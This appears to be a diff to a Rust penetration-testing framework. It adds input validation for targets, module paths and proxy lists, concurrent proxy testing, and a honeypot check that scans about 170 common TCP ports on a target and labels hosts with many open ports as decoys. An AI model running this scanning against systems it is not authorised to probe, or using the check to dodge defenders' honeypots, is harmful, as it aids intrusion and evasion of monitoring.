if after_bracket.starts_with(':') {
|
||||
let port_str = &after_bracket[1..].trim();
|
||||
if port_str.is_empty() {
|
||||
return Err(anyhow!("Invalid port format: missing port number"));
|
||||
}
|
||||
let port: u16 = port_str.parse()
|
||||
.map_err(|_| anyhow!("Invalid port number: '{}'", port_str))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port cannot be 0"));
|
||||
}
|
||||
return Ok(format!("[{}]:{}", ipv6_part, port));
|
||||
} else if !after_bracket.is_empty() {
|
||||
return Err(anyhow!("Invalid format after IPv6 address: '{}'", after_bracket));
|
||||
}
|
||||
return Ok(format!("[{}]", ipv6_part));
|
||||
} else {
|
||||
return Err(anyhow!("Invalid IPv6 format: missing closing bracket"));
|
||||
}
|
||||
}
|
||||
|
||||
// Check if it contains a port (format: host:port or ip:port)
|
||||
let colon_count = sanitized.matches(':').count();
|
||||
let has_dots = sanitized.contains('.');
|
||||
|
||||
// IPv6 detection: multiple colons typically indicates IPv6
|
||||
let is_likely_ipv6 = colon_count >= 2 && !has_dots;
|
||||
|
||||
if is_likely_ipv6 {
|
||||
// IPv6 address (may or may not have port)
|
||||
if let Some(last_colon_pos) = sanitized.rfind(':') {
|
||||
// Check if last colon is part of IPv6 or port separator
|
||||
let before_colon = &sanitized[..last_colon_pos];
|
||||
let after_colon = &sanitized[last_colon_pos + 1..];
|
||||
|
||||
// If after colon is all digits, it's likely a port
|
||||
if after_colon.chars().all(|c| c.is_ascii_digit()) && !after_colon.is_empty() {
|
||||
let port: u16 = after_colon.parse()
|
||||
.map_err(|_| anyhow!("Invalid port number: '{}'", after_colon))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port cannot be 0"));
|
||||
}
|
||||
|
||||
// Validate IPv6 part
|
||||
if !is_valid_ipv6(before_colon) {
|
||||
return Err(anyhow!("Invalid IPv6 address: '{}'", before_colon));
|
||||
}
|
||||
return Ok(format!("[{}]:{}", before_colon, port));
|
||||
}
|
||||
}
|
||||
|
||||
// IPv6 without port
|
||||
if !is_valid_ipv6(&sanitized) {
|
||||
return Err(anyhow!("Invalid IPv6 address format: '{}'", sanitized));
|
||||
}
|
||||
return Ok(format!("[{}]", sanitized));
|
||||
}
|
||||
|
||||
// IPv4 or hostname (may have port)
|
||||
if sanitized.contains(':') {
|
||||
if let Some(colon_pos) = sanitized.rfind(':') {
|
||||
let host_part = &sanitized[..colon_pos];
|
||||
let port_str = &sanitized[colon_pos + 1..];
|
||||
|
||||
if port_str.is_empty() {
|
||||
return Err(anyhow!("Invalid port format: missing port number"));
|
||||
}
|
||||
|
||||
let port: u16 = port_str.parse()
|
||||
.map_err(|_| anyhow!("Invalid port number: '{}'", port_str))?;
|
||||
if port == 0 {
|
||||
return Err(anyhow!("Port cannot be 0"));
|
||||
}
|
||||
|
||||
// Validate host part
|
||||
if host_part.is_empty() {
|
||||
return Err(anyhow!("Invalid target: empty hostname/IP"));
|
||||
}
|
||||
|
||||
// Validate hostname/IPv4 format
|
||||
if !is_valid_hostname_or_ipv4(host_part) {
|
||||
return Err(anyhow!("Invalid hostname or IPv4 address: '{}'", host_part));
|
||||
}
|
||||
|
||||
return Ok(format!("{}:{}", host_part, port));
|
||||
}
|
||||
}
|
||||
|
||||
// No port - just hostname or IPv4
|
||||
if sanitized.contains(' ') {
|
||||
return Err(anyhow!("Invalid target format: contains spaces (did you mean to include a port?)"));
|
||||
}
|
||||
|
||||
// Validate hostname/IPv4 format
|
||||
if !is_valid_hostname_or_ipv4(&sanitized) {
|
||||
return Err(anyhow!("Invalid hostname or IPv4 address format: '{}'", sanitized));
|
||||
}
|
||||
|
||||
Ok(sanitized.to_string())
|
||||
}
|
||||
|
||||
/// Validate IPv6 address format (basic validation)
|
||||
/// Supports compressed notation (::), mixed IPv4/IPv6 (::ffff:192.168.1.1), etc.
|
||||
fn is_valid_ipv6(addr: &str) -> bool {
|
||||
if addr.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for valid IPv6 characters: hex digits, colons, and dots (for IPv4-mapped)
|
||||
let ipv6_char_re = Regex::new(r"^[0-9a-fA-F:.]+$").unwrap();
|
||||
if !ipv6_char_re.is_match(addr) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for valid :: usage (only one allowed, and not at start/end unless it's ::1 style)
|
||||
let double_colon_count = addr.matches("::").count();
|
||||
if double_colon_count > 1 {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Handle special cases
|
||||
if addr == "::" || addr == "::1" {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check for IPv4-mapped IPv6 (::ffff:192.168.1.1 or similar)
|
||||
if addr.contains('.') {
|
||||
// Must be in format like ::ffff:192.168.1.1
|
||||
let parts: Vec<&str> = addr.rsplitn(2, ':').collect();
|
||||
if parts.len() == 2 {
|
||||
let ipv4_part = parts[0];
|
||||
// Validate IPv4 part
|
||||
let ipv4_parts: Vec<&str> = ipv4_part.split('.').collect();
|
||||
if ipv4_parts.len() == 4 {
|
||||
let is_valid_ipv4 = ipv4_parts.iter().all(|part| {
|
||||
part.parse::<u8>().is_ok()
|
||||
});
|
||||
if is_valid_ipv4 {
|
||||
// Valid IPv4-mapped IPv6
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Split by colons to validate segments
|
||||
let segments: Vec<&str> = addr.split(':').collect();
|
||||
|
||||
// With :: compression, we can have fewer than 8 segments
|
||||
// Without ::, we need exactly 8 segments
|
||||
if double_colon_count == 0 {
|
||||
// No compression - must have exactly 8 segments
|
||||
if segments.len() != 8 {
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
// With compression - can have 2-7 segments
|
||||
if segments.len() < 2 || segments.len() > 7 {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Validate each segment (except empty ones from ::)
|
||||
for segment in &segments {
|
||||
if segment.is_empty() {
|
||||
continue; // Empty segment from :: compression
|
||||
}
|
||||
if segment.len() > 4 {
|
||||
return false; // Each segment max 4 hex digits
|
||||
}
|
||||
// Validate hex digits
|
||||
if !segment.chars().all(|c| c.is_ascii_hexdigit()) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
/// Recursively list .rs files up to a certain depth (unchanged)
|
||||
/// Validate hostname or IPv4 address format
|
||||
fn is_valid_hostname_or_ipv4(host: &str) -> bool {
|
||||
if host.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for valid characters (alphanumeric, dots, hyphens, underscores)
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_]+$").unwrap();
|
||||
if !host_re.is_match(host) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if it looks like IPv4 (contains dots and all segments are numeric)
|
||||
if host.contains('.') {
|
||||
let parts: Vec<&str> = host.split('.').collect();
|
||||
if parts.len() == 4 {
|
||||
// Could be IPv4 - validate each octet
|
||||
let is_ipv4 = parts.iter().all(|part| {
|
||||
part.parse::<u8>().is_ok()
|
||||
});
|
||||
if is_ipv4 {
|
||||
return true; // Valid IPv4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Hostname validation: must start and end with alphanumeric
|
||||
if host.starts_with('.') || host.ends_with('.') {
|
||||
return false;
|
||||
}
|
||||
|
||||
if host.starts_with('-') || host.ends_with('-') {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check hostname length (max 253 characters per RFC)
|
||||
if host.len() > 253 {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check individual label length (max 63 characters per RFC)
|
||||
for label in host.split('.') {
|
||||
if label.len() > 63 {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
true
|
||||
}
|
||||
|
||||
/// Recursively list .rs files up to a certain depth with security checks
|
||||
fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
|
||||
if depth > MAX_DEPTH || !dir.exists() {
|
||||
// Depth limit to prevent infinite recursion
|
||||
if depth > MAX_DEPTH {
|
||||
return modules;
|
||||
}
|
||||
|
||||
// Validate directory exists and is readable
|
||||
if !dir.exists() {
|
||||
return modules;
|
||||
}
|
||||
|
||||
// Prevent path traversal - ensure we're within src/modules
|
||||
let modules_base = Path::new("src/modules");
|
||||
if !dir.starts_with(modules_base) && depth > 0 {
|
||||
// Only allow traversal within src/modules
|
||||
return modules;
|
||||
}
|
||||
|
||||
if let Ok(entries) = fs::read_dir(dir) {
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
// Read directory with error handling
|
||||
let entries = match fs::read_dir(dir) {
|
||||
Ok(entries) => entries,
|
||||
Err(_) => return modules, // Silently skip unreadable directories
|
||||
};
|
||||
|
||||
if path.is_dir() {
|
||||
modules.extend(collect_module_paths(&path, depth + 1));
|
||||
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
|
||||
if file_name.ends_with(".rs") && file_name != "mod.rs" {
|
||||
let relative_path = path
|
||||
.strip_prefix("src/modules")
|
||||
.unwrap_or(&path)
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // For Windows
|
||||
modules.push(relative_path);
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
|
||||
// Check for symlinks that might cause issues
|
||||
if path.is_symlink() {
|
||||
continue; // Skip symlinks for security
|
||||
}
|
||||
|
||||
if path.is_dir() {
|
||||
// Recursively collect from subdirectories
|
||||
modules.extend(collect_module_paths(&path, depth + 1));
|
||||
} else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
|
||||
// Only process .rs files, skip mod.rs
|
||||
if file_name.ends_with(".rs") && file_name != "mod.rs" {
|
||||
// Validate path length
|
||||
let relative_path = match path.strip_prefix("src/modules") {
|
||||
Ok(rel) => rel,
|
||||
Err(_) => &path, // Fallback to full path if strip fails
|
||||
};
|
||||
|
||||
let path_str = relative_path
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace('\\', "/"); // Windows path normalization
|
||||
|
||||
// Validate path length
|
||||
if path_str.len() <= MAX_MODULE_PATH_LENGTH {
|
||||
modules.push(path_str);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -65,13 +439,27 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
|
||||
modules
|
||||
}
|
||||
|
||||
/// Dynamically checks if a module path exists at any depth (unchanged)
|
||||
/// Dynamically checks if a module path exists at any depth with validation
|
||||
pub fn module_exists(module_path: &str) -> bool {
|
||||
// Input validation
|
||||
if module_path.is_empty() {
|
||||
return false;
|
||||
}
|
||||
|
||||
if module_path.len() > MAX_MODULE_PATH_LENGTH {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if module_path.contains("..") || module_path.contains("//") {
|
||||
return false;
|
||||
}
|
||||
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
modules.iter().any(|m| m == module_path)
|
||||
}
|
||||
|
||||
/// Lists all available modules recursively under src/modules/ (unchanged)
|
||||
/// Lists all available modules recursively under src/modules/
|
||||
pub fn list_all_modules() {
|
||||
println!("{}", "Available modules:".bold().underline());
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
@@ -99,8 +487,20 @@ pub fn list_all_modules() {
|
||||
}
|
||||
}
|
||||
|
||||
/// Finds and displays modules matching a keyword (unchanged)
|
||||
/// Finds and displays modules matching a keyword with validation
|
||||
pub fn find_modules(keyword: &str) {
|
||||
// Input validation
|
||||
if keyword.is_empty() {
|
||||
println!("{}", "Keyword cannot be empty.".red());
|
||||
return;
|
||||
}
|
||||
|
||||
// Limit keyword length
|
||||
if keyword.len() > 100 {
|
||||
println!("{}", "Keyword too long (max 100 characters).".red());
|
||||
return;
|
||||
}
|
||||
|
||||
let keyword_lower = keyword.to_lowercase();
|
||||
let modules = collect_module_paths(Path::new("src/modules"), 0);
|
||||
|
||||
@@ -167,50 +567,159 @@ pub struct ProxyTestSummary {
|
||||
pub failed: Vec<ProxyTestFailure>,
|
||||
}
|
||||
|
||||
/// Attempt to normalise and validate a proxy entry.
|
||||
fn normalize_proxy_candidate(line: &str) -> Result<String> {
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("empty line"));
|
||||
}
|
||||
|
||||
let candidate = if trimmed.contains("://") {
|
||||
trimmed.to_string()
|
||||
} else {
|
||||
format!("http://{}", trimmed)
|
||||
};
|
||||
|
||||
let url = Url::parse(&candidate).map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
|
||||
|
||||
/// Validates and sanitizes a proxy URL
|
||||
fn validate_proxy_url(url: &Url) -> Result<()> {
|
||||
// Check scheme
|
||||
if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
|
||||
return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
|
||||
}
|
||||
|
||||
if url.host_str().is_none() {
|
||||
return Err(anyhow!("missing proxy host"));
|
||||
// Validate host
|
||||
let host = url.host_str()
|
||||
.ok_or_else(|| anyhow!("missing proxy host"))?;
|
||||
|
||||
// Validate host length
|
||||
if host.is_empty() {
|
||||
return Err(anyhow!("proxy host cannot be empty"));
|
||||
}
|
||||
|
||||
if host.len() > 253 { // Max DNS hostname length
|
||||
return Err(anyhow!("proxy host too long (max 253 characters)"));
|
||||
}
|
||||
|
||||
// Validate hostname format (basic check)
|
||||
let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
if !host_re.is_match(host) {
|
||||
return Err(anyhow!("invalid proxy host format"));
|
||||
}
|
||||
|
||||
// Check for localhost/private IP abuse (warning only, not blocking)
|
||||
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
|
||||
// Allow but could log warning in production
|
||||
}
|
||||
|
||||
if url.port().is_none() {
|
||||
return Err(anyhow!("missing proxy port"));
|
||||
// Validate port
|
||||
let port = url.port()
|
||||
.ok_or_else(|| anyhow!("missing proxy port"))?;
|
||||
|
||||
if port == 0 {
|
||||
return Err(anyhow!("proxy port cannot be 0"));
|
||||
}
|
||||
|
||||
// Port is already validated to be in u16 range (0-65535) by Url::parse
|
||||
// We just need to check it's not 0 (already checked above)
|
||||
// Additional validation: check for common restricted ports if needed
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Attempt to normalise and validate a proxy entry with enhanced security
|
||||
fn normalize_proxy_candidate(line: &str) -> Result<String> {
|
||||
let trimmed = line.trim();
|
||||
|
||||
// Input validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("empty line"));
|
||||
}
|
||||
|
||||
// Length check to prevent DoS
|
||||
if trimmed.len() > 2048 {
|
||||
return Err(anyhow!("proxy line too long (max 2048 characters)"));
|
||||
}
|
||||
|
||||
// Sanitize input - remove control characters (but allow newline/carriage return for line processing)
|
||||
let sanitized: String = trimmed
|
||||
.chars()
|
||||
.filter(|c| {
|
||||
let ch = *c;
|
||||
!ch.is_control() || ch == '\n' || ch == '\r'
|
||||
})
|
||||
.collect();
|
||||
|
||||
if sanitized.is_empty() {
|
||||
return Err(anyhow!("proxy line contains only invalid characters"));
|
||||
}
|
||||
|
||||
// Add scheme if missing
|
||||
let candidate = if sanitized.contains("://") {
|
||||
sanitized
|
||||
} else {
|
||||
format!("http://{}", sanitized)
|
||||
};
|
||||
|
||||
// Parse URL
|
||||
let url = Url::parse(&candidate)
|
||||
.map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
|
||||
|
||||
// Validate the proxy URL
|
||||
validate_proxy_url(&url)?;
|
||||
|
||||
Ok(candidate)
|
||||
}
|
||||
|
||||
/// Load proxies from a file, returning a summary containing valid proxies and skipped entries.
|
||||
/// Load proxies from a file with enhanced security and validation
|
||||
pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
|
||||
let file = fs::File::open(filename)
|
||||
// Input validation
|
||||
if filename.is_empty() {
|
||||
return Err(anyhow!("filename cannot be empty"));
|
||||
}
|
||||
|
||||
// Path validation - prevent path traversal
|
||||
let path = Path::new(filename);
|
||||
|
||||
// Check for path traversal attempts
|
||||
if filename.contains("..") {
|
||||
return Err(anyhow!("path traversal detected in filename: '{}'", filename));
|
||||
}
|
||||
|
||||
// Resolve to absolute path to check
|
||||
let canonical = path.canonicalize()
|
||||
.map_err(|e| anyhow!("failed to resolve file path '{}': {}", filename, e))?;
|
||||
|
||||
// Check file exists and is a regular file
|
||||
if !canonical.is_file() {
|
||||
return Err(anyhow!("'{}' is not a regular file", filename));
|
||||
}
|
||||
|
||||
// Check file size to prevent reading huge files
|
||||
let metadata = fs::metadata(&canonical)
|
||||
.with_context(|| format!("failed to read file metadata for '{}'", filename))?;
|
||||
|
||||
if metadata.len() > MAX_FILE_SIZE {
|
||||
return Err(anyhow!(
|
||||
"file too large (max {} bytes, got {} bytes)",
|
||||
MAX_FILE_SIZE,
|
||||
metadata.len()
|
||||
));
|
||||
}
|
||||
|
||||
// Open file
|
||||
let file = fs::File::open(&canonical)
|
||||
.with_context(|| format!("failed to open proxy file '{}'", filename))?;
|
||||
let reader = BufReader::new(file);
|
||||
|
||||
let mut proxies = Vec::new();
|
||||
let mut skipped = Vec::new();
|
||||
let mut line_count = 0usize;
|
||||
|
||||
for (idx, line_res) in reader.lines().enumerate() {
|
||||
line_count = idx + 1;
|
||||
|
||||
// Limit number of lines to process
|
||||
if line_count > MAX_PROXIES {
|
||||
skipped.push(ProxyParseError {
|
||||
line_number: line_count,
|
||||
content: format!("... (truncated after {} lines)", MAX_PROXIES),
|
||||
reason: format!("file exceeds maximum line limit ({})", MAX_PROXIES),
|
||||
});
|
||||
break;
|
||||
}
|
||||
|
||||
let raw_line = line_res
|
||||
.with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
|
||||
let trimmed = raw_line.trim();
|
||||
|
||||
// Skip empty lines and comments
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
|
||||
continue;
|
||||
}
|
||||
@@ -219,47 +728,99 @@ pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
|
||||
Ok(proxy) => proxies.push(proxy),
|
||||
Err(err) => skipped.push(ProxyParseError {
|
||||
line_number: idx + 1,
|
||||
content: trimmed.to_string(),
|
||||
content: if trimmed.len() > 100 {
|
||||
format!("{}...", &trimmed[..100])
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
},
|
||||
reason: err.to_string(),
|
||||
}),
|
||||
}
|
||||
}
|
||||
|
||||
if proxies.is_empty() {
|
||||
return Err(anyhow!("no valid proxies found in '{}'", filename));
|
||||
return Err(anyhow!("no valid proxies found in '{}' (processed {} lines)", filename, line_count));
|
||||
}
|
||||
|
||||
// Limit number of proxies
|
||||
if proxies.len() > MAX_PROXIES {
|
||||
let original_count = proxies.len();
|
||||
proxies.truncate(MAX_PROXIES);
|
||||
return Err(anyhow!(
|
||||
"too many proxies (max {}, found {}). Truncated to {}",
|
||||
MAX_PROXIES,
|
||||
original_count,
|
||||
MAX_PROXIES
|
||||
));
|
||||
}
|
||||
|
||||
Ok(ProxyLoadSummary { proxies, skipped })
|
||||
}
|
||||
|
||||
/// Test proxies concurrently and return which passed connectivity checks.
|
||||
/// Test proxies concurrently with enhanced validation and resource limits
|
||||
pub async fn test_proxies(
|
||||
proxies: &[String],
|
||||
test_url: &str,
|
||||
timeout_secs: u64,
|
||||
max_parallel: usize,
|
||||
) -> ProxyTestSummary {
|
||||
// Input validation
|
||||
if proxies.is_empty() {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: Vec::new(),
|
||||
};
|
||||
}
|
||||
|
||||
// Validate and limit inputs
|
||||
let timeout_secs = timeout_secs.min(MAX_PROXY_TIMEOUT_SECS).max(1);
|
||||
let max_parallel = max_parallel.min(MAX_PARALLEL_PROXIES).max(1);
|
||||
|
||||
// Limit number of proxies to test
|
||||
let proxies_to_test = if proxies.len() > MAX_PROXIES {
|
||||
&proxies[..MAX_PROXIES]
|
||||
} else {
|
||||
proxies
|
||||
};
|
||||
|
||||
// Validate test URL
|
||||
let test_url = test_url.trim();
|
||||
if test_url.is_empty() {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
|
||||
proxy: p.clone(),
|
||||
reason: "test URL is empty".to_string(),
|
||||
}).collect(),
|
||||
};
|
||||
}
|
||||
|
||||
// Validate URL format
|
||||
if let Err(e) = Url::parse(test_url) {
|
||||
return ProxyTestSummary {
|
||||
working: Vec::new(),
|
||||
failed: proxies_to_test.iter().map(|p| ProxyTestFailure {
|
||||
proxy: p.clone(),
|
||||
reason: format!("invalid test URL: {}", e),
|
||||
}).collect(),
|
||||
};
|
||||
}
|
||||
|
||||
let timeout = Duration::from_secs(timeout_secs.max(1));
|
||||
let parallel = max_parallel.max(1);
|
||||
let semaphore = Arc::new(Semaphore::new(parallel));
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
let semaphore = Arc::new(Semaphore::new(max_parallel));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
for proxy in proxies.iter().cloned() {
|
||||
for proxy in proxies_to_test.iter().cloned() {
|
||||
let test_url = test_url.to_string();
|
||||
let semaphore = Arc::clone(&semaphore);
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let permit = semaphore.acquire_owned().await;
|
||||
if permit.is_err() {
|
||||
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
|
||||
}
|
||||
let _permit = permit.unwrap();
|
||||
let permit = match semaphore.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => {
|
||||
return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
|
||||
}
|
||||
};
|
||||
let _permit = permit;
|
||||
let result = check_proxy(&proxy, &test_url, timeout).await;
|
||||
(proxy, result)
|
||||
}));
|
||||
@@ -287,10 +848,26 @@ pub async fn test_proxies(
|
||||
summary
|
||||
}
|
||||
|
||||
/// Check a single proxy with enhanced error handling and validation
|
||||
async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
|
||||
// Validate inputs
|
||||
if proxy.is_empty() {
|
||||
return Err(anyhow!("proxy cannot be empty"));
|
||||
}
|
||||
|
||||
if test_url.is_empty() {
|
||||
return Err(anyhow!("test URL cannot be empty"));
|
||||
}
|
||||
|
||||
// Validate URL format
|
||||
let _test_url_parsed = Url::parse(test_url)
|
||||
.map_err(|e| anyhow!("invalid test URL '{}': {}", test_url, e))?;
|
||||
|
||||
// Create proxy configuration
|
||||
let proxy_cfg = reqwest::Proxy::all(proxy)
|
||||
.with_context(|| format!("invalid proxy '{}'", proxy))?;
|
||||
|
||||
// Build HTTP client with timeout
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(timeout)
|
||||
.proxy(proxy_cfg)
|
||||
@@ -298,19 +875,163 @@ async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<(
|
||||
.build()
|
||||
.context("failed to build reqwest client")?;
|
||||
|
||||
// Make request with timeout
|
||||
let response = client
|
||||
.get(test_url)
|
||||
.timeout(timeout)
|
||||
.send()
|
||||
.await
|
||||
.with_context(|| format!("request via proxy '{}' failed", proxy))?;
|
||||
|
||||
if !response.status().is_success() {
|
||||
// Check response status
|
||||
let status = response.status();
|
||||
if !status.is_success() {
|
||||
return Err(anyhow!(
|
||||
"received HTTP status {} while hitting {}",
|
||||
response.status(),
|
||||
status,
|
||||
test_url
|
||||
));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Extract IP address or hostname from target string.
|
||||
/// Handles formats: IP:port, [IPv6]:port, hostname:port, CIDR notation
|
||||
/// Returns the host/IP part without port or brackets.
|
||||
fn extract_ip_from_target(target: &str) -> Option<String> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Handle CIDR notation: extract network part before /
|
||||
if let Some(slash_pos) = trimmed.find('/') {
|
||||
let network_part = &trimmed[..slash_pos];
|
||||
return extract_ip_from_target(network_part);
|
||||
}
|
||||
|
||||
// Handle IPv6 with brackets: [::1]:8080 or [::1]
|
||||
if trimmed.starts_with('[') {
|
||||
if let Some(bracket_end) = trimmed.find(']') {
|
||||
let ipv6_part = &trimmed[1..bracket_end];
|
||||
return Some(ipv6_part.to_string());
|
||||
}
|
||||
// Malformed - missing closing bracket, but try to extract anyway
|
||||
return Some(trimmed.trim_start_matches('[').to_string());
|
||||
}
|
||||
|
||||
// Handle IPv4 or hostname with port: 192.168.1.1:8080 or hostname:8080
|
||||
if let Some(colon_pos) = trimmed.rfind(':') {
|
||||
let before_colon = &trimmed[..colon_pos];
|
||||
let after_colon = &trimmed[colon_pos + 1..];
|
||||
|
||||
// Check if after colon is a port (all digits)
|
||||
if after_colon.chars().all(|c| c.is_ascii_digit()) && !after_colon.is_empty() {
|
||||
// It's a port - extract host part
|
||||
// But check if before_colon is IPv6 (multiple colons)
|
||||
let colon_count = before_colon.matches(':').count();
|
||||
if colon_count >= 2 {
|
||||
// IPv6 address - return as is (without brackets)
|
||||
return Some(before_colon.to_string());
|
||||
}
|
||||
// IPv4 or hostname - return host part
|
||||
return Some(before_colon.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
// No port or malformed - check if it's IPv6 (multiple colons)
|
||||
let colon_count = trimmed.matches(':').count();
|
||||
if colon_count >= 2 {
|
||||
// IPv6 without brackets - return as is
|
||||
return Some(trimmed.to_string());
|
||||
}
|
||||
|
||||
// No port - return as is (IPv4 or hostname)
|
||||
Some(trimmed.to_string())
|
||||
}
|
||||
|
||||
/// Perform a lightweight honeypot check by probing common ports.
|
||||
/// If 11 or more ports are open, warns that the target is likely a honeypot.
|
||||
pub async fn basic_honeypot_check(target: &str) {
|
||||
// Extract IP address from target (handles IP:port format)
|
||||
let ip = match extract_ip_from_target(target) {
|
||||
Some(ip) => ip,
|
||||
None => {
|
||||
// If we can't extract IP, skip check
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Skip check for hostnames (contains non-IP characters)
|
||||
if ip.contains(|c: char| c.is_alphabetic() && c != ':') && !ip.contains(':') {
|
||||
// Likely a hostname, skip honeypot check
|
||||
return;
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════╗".bright_yellow());
|
||||
println!("{}", "║ HONEYPOT DETECTION CHECK ║".bright_yellow());
|
||||
println!("{}", "╚══════════════════════════════════════════════╝".bright_yellow());
|
||||
println!();
|
||||
println!("[*] Scanning {} common ports on {}...", 200, ip);
|
||||
|
||||
// Common ports typically exposed by network services.
|
||||
const COMMON_PORTS: &[u16] = &[
|
||||
11, 13, 15, 17, 19, 20, 21, 22, 23, 25, 26, 37, 38, 43, 49, 53, 70, 79, 80, 81, 82, 83, 84, 86, 88, 89, 91, 92, 94, 95, 97, 99,
|
||||
101, 102, 104, 110, 111, 113, 119, 143, 154, 161, 175, 177, 179, 180, 189, 195, 221, 234, 243, 263, 264, 285, 311, 314, 385, 389,
|
||||
400, 427, 440, 441, 442, 443, 444, 446, 447, 449, 450, 451, 452, 462, 465, 480, 485, 488, 502, 503, 513, 515, 541, 548, 554, 556,
|
||||
587, 591, 593, 602, 631, 636, 646, 666, 685, 700, 743, 771, 777, 785, 789, 805, 806, 811, 832, 833, 843, 873, 880, 886, 887, 902,
|
||||
953, 990, 992, 993, 995, 998, 999, 1013, 1022, 1023, 1024, 1027, 1080, 1099, 1110, 1111, 1153, 1181, 1188, 1195, 1198, 1200, 1207,
|
||||
1234, 1291, 1292, 1311, 1337, 1366, 1370, 1377, 1388, 1400, 1414, 1433, 1444, 1447, 1451, 1453, 1454, 1457, 1460, 1471, 1521, 1554,
|
||||
1599, 1604, 1605, 1650, 1723, 1741, 1820, 1830, 1883
|
||||
];
|
||||
|
||||
let mut open_count = 0usize;
|
||||
let mut open_ports = Vec::new();
|
||||
|
||||
for &port in COMMON_PORTS {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let conn = tokio::time::timeout(
|
||||
std::time::Duration::from_millis(250),
|
||||
tokio::net::TcpStream::connect(&addr),
|
||||
)
|
||||
.await;
|
||||
|
||||
if let Ok(Ok(stream)) = conn {
|
||||
// We only care that the TCP handshake completed; drop immediately.
|
||||
drop(stream);
|
||||
open_count += 1;
|
||||
if open_ports.len() < 20 {
|
||||
open_ports.push(port);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("[*] Found {} open port(s) out of {} scanned", open_count, COMMON_PORTS.len());
|
||||
|
||||
// Threshold: if 11 or more common ports are open, likely a honeypot
|
||||
if open_count >= 11 {
|
||||
println!();
|
||||
println!("{}", "╔══════════════════════════════════════════════╗".red().bold());
|
||||
println!("{}", "║ ⚠️ HONEYPOT DETECTED ║".red().bold());
|
||||
println!("{}", "╚══════════════════════════════════════════════╝".red().bold());
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Target {} has {} / {} common ports open - likely honeypot",
|
||||
ip,
|
||||
open_count,
|
||||
COMMON_PORTS.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
println!("{}", " This is likely a honeypot system".yellow().bold());
|
||||
if open_count <= 20 && !open_ports.is_empty() {
|
||||
println!("{}", format!(" Open ports: {:?}", &open_ports[..open_count.min(20)]).yellow());
|
||||
}
|
||||
println!();
|
||||
} else {
|
||||
println!("{}", "[+] No honeypot indicators detected".green());
|
||||
println!();
|
||||
}
|
||||
}
|
||||
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 349 KiB |
Reference in New Issue
Block a user